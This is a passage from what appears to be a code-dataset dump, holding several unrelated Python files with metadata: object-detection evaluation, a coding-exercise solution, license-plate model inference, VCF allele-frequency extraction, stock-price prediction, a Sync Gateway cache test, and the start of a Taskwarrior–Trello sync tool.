'ssd512'),\n default='ssd300')\n parser.add_argument('--pretrained_model')\n parser.add_argument('--gpu', type=int, default=-1)\n parser.add_argument('--batchsize', type=int, default=32)\n args = parser.parse_args()\n\n if args.model == 'faster_rcnn':\n if args.pretrained_model:\n model = FasterRCNNVGG16(\n n_fg_class=20,\n pretrained_model=args.pretrained_model)\n else:\n model = FasterRCNNVGG16(pretrained_model='voc07')\n elif args.model == 'ssd300':\n if args.pretrained_model:\n model = SSD300(\n n_fg_class=20,\n pretrained_model=args.pretrained_model)\n else:\n model = SSD300(pretrained_model='voc0712')\n elif args.model == 'ssd512':\n if args.pretrained_model:\n model = SSD512(\n n_fg_class=20,\n pretrained_model=args.pretrained_model)\n else:\n model = SSD512(pretrained_model='voc0712')\n\n if args.gpu >= 0:\n chainer.cuda.get_device_from_id(args.gpu).use()\n model.to_gpu()\n\n model.use_preset('evaluate')\n\n dataset = VOCDetectionDataset(\n year='2007', split='test', use_difficult=True, return_difficult=True)\n iterator = iterators.SerialIterator(\n dataset, args.batchsize, repeat=False, shuffle=False)\n\n imgs, pred_values, gt_values = apply_prediction_to_iterator(\n model.predict, iterator, hook=ProgressHook(len(dataset)))\n # delete unused iterator explicitly\n del imgs\n\n pred_bboxes, pred_labels, pred_scores = pred_values\n gt_bboxes, gt_labels, gt_difficults = gt_values\n\n result = eval_detection_voc(\n pred_bboxes, pred_labels, pred_scores,\n gt_bboxes, gt_labels, gt_difficults,\n use_07_metric=True)\n\n print()\n print('mAP: {:f}'.format(result['map']))\n for l, name in enumerate(voc_detection_label_names):\n if result['ap'][l]:\n print('{:s}: {:f}'.format(name, result['ap'][l]))\n else:\n print('{:s}: -'.format(name))\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"examples/detection/eval_voc07.py","file_name":"eval_voc07.py","file_ext":"py","file_size_in_byte":3160,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"280370863","text":"class Solution:\n \"\"\"\n @param A: a list of integers\n @return an integer\n \"\"\"\n def removeDuplicates(self, A):\n # write your code here\n if A==None or len(A)==0:\n return 0\n start=0\n for i in range(len(A)):\n # find the non-duplicate element\n # update A[start+1]\n if A[i] != A[start]:\n start += 1\n A[start] = A[i]\n \n return start+1\n","sub_path":"downloads/code/LintCode/Remove-Duplicates-from-Sorted-Array.py","file_name":"Remove-Duplicates-from-Sorted-Array.py","file_ext":"py","file_size_in_byte":461,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"630821729","text":"from pdb import set_trace as pause\n# from src.data_generator import DataGenerator\n# from src.sampler import augment_sample, labels2output_map\n# from src.utils import image_files_from_folder, show\n\n# from src.sampler_train import augment_sample, labels2output_map\nfrom src.utils_train import image_files_from_folder, show\nfrom src.loss import loss\nfrom src.label import readShapes\nfrom src.keras_utils import save_model, load_model\nfrom os import makedirs\nfrom os.path import isfile, isdir, basename, splitext\nfrom random import choice\nimport keras\nimport argparse\nimport cv2\nimport numpy as np\nimport sys\nimport os\nimport tensorflow as tf\n\nfrom dataset4 import DataGenerator #aug mới\nfrom evaluator_batch import eval2\n\nfrom glob import glob\nimport matplotlib.pyplot as plt\n\nos.environ[\"CUDA_VISIBLE_DEVICES\"] = \"0\"\n\n\ndef load_network(modelpath, input_dim):\n model = load_model(modelpath)\n input_shape = (input_dim, input_dim, 3)\n\n # Fixed input size for training\n inputs = keras.layers.Input(shape=(input_dim, input_dim, 3))\n outputs = model(inputs)\n\n output_shape = tuple([s.value for s in outputs.shape[1:]])\n output_dim = output_shape[1]\n model_stride = input_dim / output_dim\n\n assert input_dim % output_dim == 0, \\\n 'The output resolution must be divisible by the input resolution'\n\n return model, model_stride, input_shape, output_shape\n \ndef read_data(name_file):\n \n data={}\n data['img_dir']=[]\n data['annotation']=[]\n\n f = open(name_file, \"r\")\n\n data_str = f.read()\n\n anns = data_str.split(\"image/bienso/\")\n print(len(anns))\n for ann in anns:\n ann_lines = ann.split(\"\\t\")\n if(len(ann_lines) < 2):\n continue\n data['img_dir'].append(ann_lines[0]) \n ann=[]\n anns2 = ann_lines[1].split('\\n') \n for idx in range(len(anns2)-1):\n ann.append(anns2[idx])\n data['annotation'].append(ann)\n \n print(\"Len ann: \", len(data['annotation']))\n print(\"Len img_dir: \", len(data['img_dir']))\n f.close()\n return data\n \ndef main():\n parser = argparse.ArgumentParser()\n\n parser.add_argument('-m', '--model', default='', type=str,\n help='Path to previous model')\n args = parser.parse_args() \n graph = tf.Graph()\n dim = 208\n with graph.as_default():\n session_config = tf.ConfigProto()\n session_config.gpu_options.allow_growth = True\n session = tf.Session(config=session_config)\n with session.as_default():\n model, model_stride, xshape, yshape = load_network(args.model, dim)\n \n #############################\n model.summary()\n print(\"args.model: \", args.model)\n# return\n ##############################\n \n \n# train_data = read_data(\"/data/anhnt2/utvm_data_split/new_1008/bienso_train_T10_clear.txt\")\n test_data = read_data(\"/data/anhnt2/utvm_data_split/new_1008/bienso_test_T10_clear.txt\")\n# train_data = read_data(\"/data/anhnt2/utvm_data_split/stanford/bienso_stanford_train.txt\")\n# test_data = read_data(\"/data/anhnt2/utvm_data_split/stanford/bienso_stanford_test.txt\")\n \n image_folder=\"/data/tagging_utvm/bienso/\"\n\n# training_generator = DataGenerator(train_data['img_dir'], train_data['annotation'],image_folder, dim=dim, model_stride=model_stride ,batch_size=16)\n test_generator = DataGenerator(test_data['img_dir'], test_data['annotation'],image_folder, dim=288,val=True,batch_size=32)\n \n AP, R, P, AP_max, R_max, P_max,num_correct,num_correct_max = eval2(model,test_generator)\n print(\"AP_max: \", AP_max)\nif __name__ == '__main__':\n main()\n\n''' \n\npython infer_batch.py --model models/official_models/utvm_models_small_stanford/utvm-model-small-stanford_backup_max\npython infer_batch.py --model final_models/IoU_05/utvm_models_resnet2/backup/utvm-model-privatedata-resnet2_backup_max-Copy1\npython infer_batch.py --model final_models/IoU_05/utvm_models_resnet_cus/backup/utvm-model-stanford-resnet-cus_backup_max-Copy1\npython infer_batch.py --model final_models/IoU_05/utvm_models_resnet_cus_stanford/utvm-model-stanford-resnet-cus_backup_max \n\n\n'''","sub_path":"infer_batch.py","file_name":"infer_batch.py","file_ext":"py","file_size_in_byte":4295,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"620741265","text":"#!/usr/bin/env python\n\nfrom __future__ import print_function\nimport argparse\nimport pysam\nimport sys\n\n\n# functions\ndef get_derived_freq(vcf_line, run_mode, no_samples):\n\n \"\"\"\n function takes a pysam vcf variant and a variant mode and returns the derived allele frequency for that variant,\n if it matches the given variant mode (eg ins, if insertion spectrum required)\n :param vcf_line: pysam variant\n :param run_mode: string\n :param no_samples: int\n :return: None or float\n \"\"\"\n\n ref_seq = vcf_line.ref\n alt_seq = vcf_line.alts[0]\n alt_freq = round(vcf_line.info['AC'][0]/float(no_samples*2), 3)\n try:\n anc_seq = vcf_line.info['AA']\n except KeyError: # ie. not polarised\n return None\n\n # set derived sequence and freq\n if alt_seq == anc_seq:\n derv_seq = ref_seq\n derv_freq = 1 - alt_freq\n elif ref_seq == anc_seq:\n derv_seq = alt_seq\n derv_freq = alt_freq\n else:\n return None\n\n # determine type\n if len(anc_seq) > len(derv_seq): # deletion\n if run_mode == 'del':\n return derv_freq\n else:\n return None\n elif len(anc_seq) < len(derv_seq): # insertion\n if run_mode == 'ins':\n return derv_freq\n else:\n return None\n else: # snp\n return derv_freq\n\n\ndef get_minor_freq(vcf_line, run_mode, no_samples):\n\n \"\"\"\n takes a pysam variant and returns the minor allele frequency\n :param vcf_line: pysam variant\n :param run_mode: string\n :param no_samples: int\n :return: float\n \"\"\"\n\n if is_indel(vcf_line):\n variant_type = 'indel'\n else:\n variant_type = 'snp'\n\n if run_mode != variant_type:\n return None\n\n alt_allele_freq = round(vcf_line.info['AC'][0]/float(no_samples*2), 3)\n if alt_allele_freq <= 0.5:\n return alt_allele_freq\n else:\n return 1 - alt_allele_freq\n\n\ndef is_indel(variant):\n\n \"\"\"\n takes a pysam variant and return whether or not it is an indel\n :param variant: pysam variant\n :return: bool\n \"\"\"\n\n if variant.rlen > 1:\n return True\n\n allele_lengths = [len(allele) for allele in variant.alts]\n\n if len(set(allele_lengths)) > 1:\n return True\n\n if allele_lengths[0] > 1:\n return True\n else:\n return False\n\n\ndef get_out_freq(vcf_line, pol, run_mode, no_samples):\n\n \"\"\"\n takes pysam variant, polarisation argument and variant run type\n :param vcf_line: pysam variant\n :param pol: bool\n :param run_mode: str\n :param no_samples: int\n :return: None or float\n \"\"\"\n\n if pol is True:\n return get_derived_freq(vcf_line, run_mode, no_samples)\n else:\n return get_minor_freq(vcf_line, run_mode, no_samples)\n\n\ndef in_regions(vcf_line, target_regions):\n\n \"\"\"\n takes a pysam variant and sees if it falls within a specified genomic region\n :param vcf_line: pysam variant\n :param target_regions: list or None\n :return: bool\n \"\"\"\n\n if target_regions is None:\n return True\n else:\n try:\n var_region = vcf_line.info['ANNO']\n if var_region in target_regions:\n return True\n else:\n return False\n except KeyError:\n return False\n\n\ndef is_degen(vcf_line, target_degen):\n\n \"\"\"\n takes a pysam variant and desired degeneracy and returns true or false for that variant\n :param vcf_line: pysam variant\n :param target_degen: int\n :return: bool\n \"\"\"\n\n if target_degen is None:\n return True\n else:\n try:\n degeneracy = int(vcf_line.info['DEGEN'])\n if target_degen == degeneracy:\n return True\n else:\n return False\n except KeyError:\n return False\n\n\ndef is_mute_type(vcf_line, mute_list, pol):\n\n \"\"\"\n takes pysam variant and determins if variant is of type listed in mutation list\n :param vcf_line: pysam variant\n :param mute_list: list\n :param pol: bool\n :return:\n \"\"\"\n # strong = CG weak = AT\n base_types = {'A': 'W', 'T': 'W', 'C': 'S', 'G': 'S'}\n if mute_list is None:\n return True\n else:\n ref_base = base_types[vcf_line.ref]\n alt_base = base_types[vcf_line.alts[0]]\n if ref_base == alt_base == 'W':\n mutation_type = 'WW'\n elif ref_base == alt_base == 'S':\n mutation_type = 'SS'\n else:\n if pol is False:\n return False\n else:\n try:\n anc_base = base_types[vcf_line.info['AA']]\n if anc_base == ref_base:\n mutation_type = anc_base + alt_base\n else:\n mutation_type = alt_base + ref_base\n except KeyError:\n return False\n if mutation_type in mute_list:\n return True\n else:\n return False\n\n\ndef allele_num_ok(vcf_line, no_samples, multi):\n\n \"\"\"\n checks to see if variant is biallelic\n :param vcf_line: pysam variant\n :param no_samples: int\n :param multi: bool\n :return: bool\n \"\"\"\n\n if multi is False:\n pos_biallelic_freqs = [round(i/float(2*no_samples), 3) for i in range(1, 2*no_samples)]\n alt_allele_freq = round(vcf_line.info['AC'][0] / float(no_samples * 2), 3)\n if alt_allele_freq in pos_biallelic_freqs:\n return True\n else:\n return False\n else:\n return True\n\n\ndef is_auto(variant_line):\n\n \"\"\"\n returns true if autosome\n :param variant_line: pysam variant\n :return: bool\n \"\"\"\n sex_chromos = {'chrZ', 'Z', 'chrW', 'W', 'X', 'XHet', 'Y', 'YHet'}\n if variant_line.contig not in sex_chromos:\n return True\n else:\n return False\n\n\ndef is_heterozygous(variant_line):\n\n \"\"\"\n returns False if all individuals at site are homozygous\n :param variant_line: pysam variant\n :return: bool\n \"\"\"\n\n # makes a list of lengths of sets of each genotype and then makes that list of lengths a set and gets the length\n # ie if all individuals are homozygous it will return 1\n homozygous_value = len(set([len(set(x['GT'])) for x in variant_line.samples.values()]))\n\n if homozygous_value == 1:\n return False\n else:\n return True\n\n\n# main call\ndef main():\n\n # arguments\n parser = argparse.ArgumentParser()\n parser.add_argument('-vcf', help='VCF file to extract sfs from, if not specified will read from standard in,'\n 'but must contain the header', default='stdin')\n parser.add_argument('-chr', help='Chromosome to extract', default='ALL')\n parser.add_argument('-region', help='Genomic regions to extract, default = ALL', action='append')\n parser.add_argument('-mode', help='Variant mode to run in', choices=['snp', 'ins', 'del', 'indel'], required=True)\n parser.add_argument('-degen', help='Degeneracy of coding SNPs to extract (must run with -mode snp',\n choices=[0, 2, 3, 4], type=int)\n parser.add_argument('-mute_type', help='Mutation type, use only with mode -snp',\n choices=['WW', 'SS', 'SW', 'WS'], action='append')\n parser.add_argument('-folded', help='If specified will output minor allele spectrum',\n default=False, action='store_true')\n parser.add_argument('-auto_only', help='If specified will exclude sex chromosomes',\n default=False, action='store_true')\n parser.add_argument('-multi_allelic', help='If specified will not restrict output to biallelic sites',\n default=False, action='store_true')\n parser.add_argument('-skip_hetero', help='If specified will skip sites with heterozygous individuals',\n default=False, action='store_true')\n parser.add_argument('-bed', help='If specified will output allele frequencies in bed format,'\n 'each row specifying chromosome\\tstart\\tend\\tallele_frequency',\n default=False, action='store_true')\n args = parser.parse_args()\n\n # variables\n if args.vcf != 'stdin':\n vcf_file = pysam.VariantFile(args.vcf)\n else:\n vcf_file = pysam.VariantFile('-')\n chromo = args.chr\n regions = args.region\n fold = args.folded\n mode = args.mode\n degen = args.degen\n mute_type = args.mute_type\n multi_allelic = args.multi_allelic\n auto_only = args.auto_only\n skip_hetero = args.skip_hetero\n\n # check commandline options\n if mode == 'indel' and fold is False:\n sys.exit('-mode indel must be run in conjunction with -folded')\n if mode == 'ins' and fold is True or mode == 'del' and fold is True:\n sys.exit('-mode ins and -mode del cannot be run in conjunction with -folded')\n if degen is not None and mode != 'snp':\n sys.exit('-degen can only be specified in conjunction with -mode snp')\n if mute_type is not None and mode != 'snp':\n sys.exit('-mute_type can only be run with -mode snp')\n\n # loop through vcf\n if chromo == 'ALL' and args.vcf != 'stdin':\n vcf = vcf_file.fetch()\n elif args.vcf != 'stdin':\n vcf = vcf_file.fetch(chromo)\n else:\n vcf = vcf_file\n\n number_samples = len(vcf_file.header.samples)\n\n for variant in vcf:\n\n # gets relevant freq, minor or derived, see functions\n frequency = get_out_freq(variant, not fold, mode, number_samples)\n if frequency is None: # skips when no freq returned, ie unpolarised or wrong var type\n continue\n\n # gets variant region if regional sfs required\n falls_in_regions = in_regions(variant, regions)\n\n # gets degeneracy if required\n degen_ok = is_degen(variant, degen)\n\n # gets mutation type if required\n mutetype_ok = is_mute_type(variant, mute_type, not fold)\n\n # checks if is biallelic\n alleles_ok = allele_num_ok(variant, number_samples, multi_allelic)\n\n # checks if auto\n auto = is_auto(variant)\n if auto_only is True and auto is False:\n continue\n\n # checks if an individuals are heterozygous\n if skip_hetero and is_heterozygous(variant):\n continue\n\n # outputs if all criteria ok\n if falls_in_regions is True and degen_ok is True and mutetype_ok is True and alleles_ok is True:\n if args.bed:\n print(variant.contig, variant.start, variant.stop, frequency, sep='\\t')\n else:\n print(frequency)\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"vcf2raw_sfs.py","file_name":"vcf2raw_sfs.py","file_ext":"py","file_size_in_byte":10652,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"494952537","text":"import time\nimport yfinance as yf \nimport matplotlib.pyplot as plt\nimport pandas as pd\nimport matplotlib\nimport sklearn as sk\nimport numpy as np\nfrom sklearn import svm\nfrom sklearn import naive_bayes\nfrom sklearn import tree\nfrom sklearn import neighbors\nfrom sklearn import ensemble\nfrom sklearn import linear_model\nfrom sklearn.preprocessing import normalize\nfrom sklearn.model_selection import cross_val_score\nfrom sklearn.neural_network import MLPClassifier\nfrom sklearn.model_selection import cross_val_score\nfrom sklearn.gaussian_process.kernels import RBF\nfrom sklearn.discriminant_analysis import QuadraticDiscriminantAnalysis\nimport keras\nfrom keras.models import Sequential\nfrom keras.layers import Dense\nfrom keras.layers import LSTM\nfrom keras.layers import Dropout\nfrom sklearn.preprocessing import MinMaxScaler\nfrom tcn import TCN, tcn_full_summary\nimport statsmodels.api as sm\nfrom sklearn.model_selection import train_test_split\nfrom aux import *\nfrom pandas.plotting import register_matplotlib_converters\nfrom datetime import datetime\nimport json\nimport os\nimport time\nregister_matplotlib_converters()\n\ndef beep(times = 1):\n for i in range(times):\n duration = 0.5 # seconds\n freq = 440 # Hz\n os.system('play -nq -t alsa synth {} sine {}'.format(duration, freq))\n time.sleep(duration)\n\ndef gain(x,y):\n if x > y:\n return 1 - (y/x)\n else:\n return 1 - (x/y)\n\ndef loss(x,y):\n if x > y:\n return round((x/y) -1,4)\n else:\n return round((y/x) -1,4)\n\ndef movAvgExp(series,cycle):\n movavg = series.copy()\n last = series[0]\n K = 0.7 / (cycle + 1)\n for i in range(1,len(series)):\n movavg[i] = (K*series[i]) + last*(1-K)\n last = movavg[i]\n return movavg\n\n\ndef print_results(stk,decision,stock_code):\n plt.figure(figsize=(16,8))\n startDate = '2017-01-01'\n endDate = '2022-01-01'\n # stk_tmp = stk.iloc[-1*(decision.shape[0]):]\n stk_tmp = stk[(stk.index > startDate) & (stk.index <= endDate)]\n stk_tmp['Close'].plot(label=\"Close\")\n plt.xlabel(\"Date\")\n plt.ylabel(\"Close\")\n plt.title(stock_code + \" Price data\")\n for index, d in decision.iterrows():\n if d['Value'] == 0:\n plt.axvline(pd.Timestamp(index),color='red')\n if d['Value'] == 1:\n plt.axvline(pd.Timestamp(index),color='green')\n plt.show()\n\ndef check_decisions(stk,decision,stockCode):\n\n results = {\n 'dataInicio' : str(datetime.strptime(str(stk.index[0]), '%Y-%m-%d %H:%M:%S')) ,\n 'dataFim' : str(datetime.strptime(str(stk.index[-1]), '%Y-%m-%d %H:%M:%S')),\n 'stockCode' : stockCode,\n 'numeroPontos' : 1,\n 'acertos' : 0,\n 'erros' : 0,\n 'acertosPct' : 0,\n 'errosPct' : 0,\n 'ganhoRel' : 0,\n 'ganhoMin' : 0,\n 'ganhoMed' : 0,\n 'ganhoMax' : 0,\n 'perdaRel' : 0,\n 'perdaMin' : 0,\n 'perdaMed' : 0,\n 'perdaMax' : 0\n }\n\n ganhos = []\n perdas = []\n\n row_iterator = decision.iterrows()\n last_index = next(row_iterator)[0]\n last_price = stk.at[last_index,'Close']\n last_value = 0.5\n for index, d in decision.iterrows():\n decision.at[index,'Price'] = stk.at[index,'Close']\n curr_price = decision.at[index,'Price']\n if d['Value'] != 0.5:\n results['numeroPontos'] += 1\n if last_value == 0.5:\n if d['Value'] == 1:\n last_value = 0\n if d['Value'] == 0:\n last_value = 1\n if last_value == 1 : \n if curr_price > last_price:\n decision.at[last_index,'Guess'] = 'Right'\n results['acertos'] += 1\n ganhos.append(gain(curr_price,last_price))\n else:\n decision.at[last_index,'Guess'] = 'Wrong'\n results['erros'] += 1\n perdas.append(loss(curr_price,last_price))\n if last_value == 0 : \n if curr_price > last_price:\n decision.at[last_index,'Guess'] = 'Wrong'\n results['erros'] += 1\n perdas.append(loss(curr_price,last_price))\n else:\n decision.at[last_index,'Guess'] = 'Right'\n ganhos.append(gain(curr_price,last_price))\n results['acertos'] += 1\n last_index = index\n last_price = curr_price\n last_value = d['Value']\n\n final_price = stk['Close'].iloc[-1]\n if last_price < final_price:\n if last_value == 1 : \n decision.at[last_index,'Guess'] = 'Right'\n ganhos.append(gain(final_price,last_price))\n results['acertos'] += 1\n else : \n decision.at[last_index,'Guess'] = 'Wrong'\n results['erros'] += 1\n perdas.append(loss(final_price,last_price))\n else:\n if last_value == 1 : \n decision.at[last_index,'Guess'] = 'Wrong'\n results['erros'] += 1\n perdas.append(loss(final_price,last_price))\n else : \n decision.at[last_index,'Guess'] = 'Right'\n ganhos.append(gain(final_price,last_price))\n results['acertos'] += 1\n\n for index, d in decision.iterrows():\n if d['Value'] != 0.5:\n print(index, decision.loc[index]['Value'], d['Guess'],round(d['Price'],2))\n print(stk.index[-1],\"---\",\"-----\",round(final_price,2))\n\n results['acertosPct'] = round(results['acertos'] / results['numeroPontos'],4)\n results['errosPct'] = round(results['erros'] / results['numeroPontos'],4)\n\n print(\"Ganhos: \", [round(num, 2) for num in ganhos])\n print(\"Perdas: \", [round(num, 2) for num in perdas])\n\n results['ganhoMax'] = round(max(ganhos,default=0),4)\n results['ganhoMin'] = round(min(ganhos,default=0),4)\n if len(ganhos) > 0:\n results['ganhoMed'] = round(sum(ganhos) / len(ganhos),4)\n results['ganhoRel'] = round(results['ganhoMed'] * results['acertosPct'],4)\n\n results['perdaMax'] = round(max(perdas,default=0),4)\n results['perdaMin'] = round(min(perdas,default=0),4)\n if len(perdas) > 0:\n results['perdaMed'] = round(sum(perdas) / len(perdas),4)\n results['perdaRel'] = round(results['perdaMed'] * results['errosPct'],4)\n\n json_object = json.dumps(results, indent = 2) \n print(json_object)\n \n with open(output_file, \"a\") as text_file:\n if os.stat(output_file).st_size == 0:\n for v in results:\n text_file.write(str(v) + ',')\n text_file.write('\\n')\n for v in results.values():\n text_file.write(str(v) + ',')\n text_file.write('\\n')\n\n return decision\n\ndef predict_stock(stk,stock_code):\n\n try:\n stk = stock_pre_processing_pipiline(stk,change_days)\n except StopIteration:\n raise StopIteration(\"Error: invalid interval for \",stock_code)\n return\n df = stk\n original_columns = df.columns\n dataset = df.values\n\n print(\"Criando X e Y\")\n\n X = df.copy()\n del X['Last20DaysChange']\n del X['UpOrDown']\n y = df.copy()[['Last20DaysChange']]\n\n X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.2, random_state=0, shuffle=False)\n X_train = np.asarray(X_train).astype('float32')\n X_test = np.asarray(X_test).astype('float32')\n y_train = np.asarray(y_train).astype('float32')\n y_test = np.asarray(y_test).astype('float32')\n\n scaler = MinMaxScaler()\n X_train_scaled = scaler.fit_transform(X_train)\n\n model = Sequential()\n # TCN(input_shape=X_train_scaled.shape)\n model.add(Dense(1000))\n model.add(Dense(120))\n model.add(Dense(1))\n model.compile(optimizer='adam',loss='mean_squared_error')\n model.fit(X_train_scaled, y_train)\n\n X_test_scaled = scaler.transform(X_test)\n y_pred = model.predict(X_test_scaled)\n\n y_test2 = np.concatenate( y_test, axis=0 )\n y_test3 = sm.nonparametric.lowess(y_test2, np.arange(0, y_test2.size), frac = 0.05)[:,1] \n #y_test3 = movAvgExp(y_test2,1)\n y_test4 = (y_test3 - y_test3.min()) / (y_test3.max() - y_test3.min())\n y_test5 = pd.DataFrame(y_test4,columns=['Value'])\n y_test5['Date'] = df.index[-1*(y_test5.size):]\n y_test5 = y_test5.set_index('Date')\n\n y_pred2 = np.concatenate( y_pred, axis=0 )\n y_pred3 = movAvgExp(y_pred2,1)\n y_pred3 = sm.nonparametric.lowess(y_pred3, np.arange(0, y_pred3.size), frac = 0.05)[:,1]\n y_pred4 = (y_pred3 - y_pred3.min()) / (y_pred3.max() - y_pred3.min())\n y_pred5 = pd.DataFrame(y_pred4,columns=['Value'])\n y_pred5['Date'] = df.index[-1*(y_pred5.size):]\n y_pred5 = y_pred5.set_index('Date')\n\n\n# Getting decision based on the first-degree change\n\n pred_inflection_points = []\n last_p = y_pred5['Value'][0]\n for p in y_pred5['Value']:\n if p > 0.5 and last_p <= 0.5:\n dec_value = 1\n elif p < 0.5 and last_p >= 0.5:\n dec_value = 0\n else:\n dec_value = 0.5\n pred_inflection_points.append((dec_value,'None',0.0))\n last_p = p\n\n decision = pd.DataFrame(pred_inflection_points,columns=['Value','Guess','Price'])\n decision['Date'] = df.index[-1*(decision.shape[0]):]\n decision = decision.set_index('Date')\n\n # Checking if decision is right for tendency change\n\n decision = check_decisions(stk,decision,stock_code)\n\n # print_results(stk,decision)\n # decision = decision.loc[decision['Value'] != 0.5]\n return decision\n\n\n########################################################################\n########################################################################\n\n\nstock_codes = [\n 'AAPL',\n 'TSLA',\n 'WMT',\n 'KO',\n 'AMZN',\n 'F',\n 'SAN',\n 'PHG',\n 'MSFT',\n 'JPM',\n 'DIS',\n 'PFE',\n 'XOM',\n 'T',\n 'MCD',\n 'BA',\n 'GE',\n 'NFLX',\n 'INTC',\n 'GOOG'\n]\n\nrepeat = 1\nyears = 21\n\nintervals = []\nfor i in range(0,(22-years)):\n intervals.append([str(2000 + i)+'-01-01',str(2000 + i + years)+'-01-01'])\n\noutput_file = 'output'+str(years)+'x'+str(years)+'.csv'\n\nfor stock_code in stock_codes:\n for itv in intervals:\n change_days = 20\n try:\n s = yf.download(stock_code,itv[0],itv[1])\n decisions = []\n for i in range(repeat):\n d = predict_stock(s,stock_code)\n decisions.append(d.loc[d['Value'] != 0.5])\n decisions_df = pd.concat(decisions)\n print(\"\\n\\nCompiled result : \")\n print_results(s,decisions_df,stock_code)\n except StopIteration:\n pass\n print(\"Skipping: Data unavailable for \" + stock_code + \" at \",itv[0],itv[1])\n continue\n\ntry:\n beep(5)\nexcept:\n pass\n print(\"Can't beep. Please run 'sudo apt install sox' if you want the code to beep at the end.\")\n\n\n\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":9954,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"412589240","text":"import time\nimport pytest\n\nfrom libraries.testkit.admin import Admin\nfrom libraries.testkit.cluster import Cluster\nfrom libraries.testkit.verify import verify_changes\n\nimport concurrent\nimport concurrent.futures\nimport requests\n\nfrom keywords.utils import log_info\nfrom keywords.SyncGateway import sync_gateway_config_path_for_mode\n\n\n@pytest.mark.sanity\n@pytest.mark.syncgateway\n@pytest.mark.parametrize(\"sg_conf_name, num_docs, user_channels, filter, limit\", [\n (\"sync_gateway_channel_cache\", 5000, \"*\", True, 50),\n (\"sync_gateway_channel_cache\", 1000, \"*\", True, 50),\n (\"sync_gateway_channel_cache\", 1000, \"ABC\", False, 50),\n (\"sync_gateway_channel_cache\", 1000, \"ABC\", True, 50),\n])\ndef test_overloaded_channel_cache(params_from_base_test_setup, sg_conf_name, num_docs, user_channels, filter, limit):\n\n cluster_conf = params_from_base_test_setup[\"cluster_config\"]\n mode = params_from_base_test_setup[\"mode\"]\n\n if mode == \"di\":\n pytest.skip(\"Unsupported feature in distributed index\")\n\n sg_conf = sync_gateway_config_path_for_mode(sg_conf_name, mode)\n\n log_info(\"Running 'test_overloaded_channel_cache'\")\n log_info(\"Using cluster_conf: {}\".format(cluster_conf))\n log_info(\"Using sg_conf: {}\".format(sg_conf))\n log_info(\"Using num_docs: {}\".format(num_docs))\n log_info(\"Using user_channels: {}\".format(user_channels))\n log_info(\"Using filter: {}\".format(filter))\n log_info(\"Using limit: {}\".format(limit))\n\n cluster = Cluster(config=cluster_conf)\n cluster.reset(sg_config_path=sg_conf)\n\n target_sg = cluster.sync_gateways[0]\n\n admin = Admin(target_sg)\n\n users = admin.register_bulk_users(target_sg, \"db\", \"user\", 1000, \"password\", [user_channels])\n assert len(users) == 1000\n\n doc_pusher = admin.register_user(target_sg, \"db\", \"abc_doc_pusher\", \"password\", [\"ABC\"])\n doc_pusher.add_docs(num_docs, bulk=True)\n\n # Give a few seconds to let changes register\n time.sleep(2)\n\n start = time.time()\n\n with concurrent.futures.ThreadPoolExecutor(max_workers=100) as executor:\n\n changes_requests = []\n errors = []\n\n for user in users:\n if filter and limit is not None:\n changes_requests.append(executor.submit(user.get_changes, since=0, limit=limit, filter=\"sync_gateway/bychannel\", channels=[\"ABC\"]))\n elif filter and limit is None:\n changes_requests.append(executor.submit(user.get_changes, filter=\"sync_gateway/bychannel\", channels=[\"ABC\"]))\n elif not filter and limit is not None:\n changes_requests.append(executor.submit(user.get_changes, limit=limit))\n elif not filter and limit is None:\n changes_requests.append(executor.submit(user.get_changes))\n\n for future in concurrent.futures.as_completed(changes_requests):\n changes = future.result()\n if limit is not None:\n assert len(changes[\"results\"]) == 50\n else:\n assert len(changes[\"results\"]) == 5001\n\n # changes feed should all be successful\n log_info(len(errors))\n assert len(errors) == 0\n\n if limit is not None:\n # HACK: Should be less than a minute unless blocking on view calls\n end = time.time()\n time_for_users_to_get_all_changes = end - start\n log_info(\"Time for users to get all changes: {}\".format(time_for_users_to_get_all_changes))\n assert time_for_users_to_get_all_changes < 120, \"Time to get all changes was greater than a minute: {}s\".format(\n time_for_users_to_get_all_changes\n )\n\n # Sanity check that a subset of users have _changes feed intact\n for i in range(10):\n verify_changes(users[i], expected_num_docs=num_docs, expected_num_revisions=0, expected_docs=doc_pusher.cache)\n\n # Get sync_gateway expvars\n resp = requests.get(url=\"http://{}:4985/_expvar\".format(target_sg.ip))\n resp.raise_for_status()\n resp_obj = resp.json()\n\n if user_channels == \"*\" and num_docs == 5000:\n # \"*\" channel includes _user docs so the verify_changes will result in 10 view queries\n assert resp_obj[\"syncGateway_changeCache\"][\"view_queries\"] == 10\n else:\n # If number of view queries == 0 the key will not exist in the expvars\n assert \"view_queries\" not in resp_obj[\"syncGateway_changeCache\"]\n","sub_path":"testsuites/syncgateway/functional/tests/test_overloaded_channel_cache.py","file_name":"test_overloaded_channel_cache.py","file_ext":"py","file_size_in_byte":4441,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"142306886","text":"# -*- coding: utf-8 -*-\n# vim:fenc=utf-8\n#\n# Copyright © 2015-2018 Óscar García Amor \n#\n# Distributed under terms of the MIT license.\nimport json\nfrom time import sleep\n\ntry:\n from configparser import RawConfigParser\nexcept ImportError:\n from ConfigParser import RawConfigParser\nfrom tasklib.task import Task\nfrom tasklib.backends import TaskWarrior\nfrom trello import TrelloClient\nfrom trello.util import create_oauth_token\n\nimport argparse\nimport os\nimport logging\n\n\nlogger = logging.getLogger(__name__)\n\n\nclass TwProject(object):\n def __init__(self, tw_project_name, trello_board_name, trello_todo_list,\n trello_doing_list, trello_done_list, tags_color,\n is_assignee, filters_set):\n self.tw_project_name = tw_project_name\n self.trello_board_name = trello_board_name\n self.trello_todo_list = trello_todo_list\n self.trello_doing_list = trello_doing_list\n self.trello_done_list = trello_done_list\n if tags_color is None:\n tags_color = []\n self.tags_color = tags_color\n self.trello_labels = {}\n self.is_assignee = is_assignee\n self.filters_set = filters_set\n\n\n def is_valid(self):\n return 